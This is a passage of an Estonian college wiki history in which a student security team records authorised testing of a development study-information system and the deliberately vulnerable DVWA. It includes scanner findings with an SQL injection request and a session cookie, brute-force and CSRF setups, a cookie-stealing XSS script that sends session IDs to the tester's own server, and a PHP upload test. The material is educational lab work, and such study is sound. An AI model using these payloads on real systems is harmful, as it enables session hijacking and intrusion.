Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47064</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47064"/>
		<updated>2012-03-30T20:49:40Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Väike upload tegevus, mis võiks olla teisiti */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
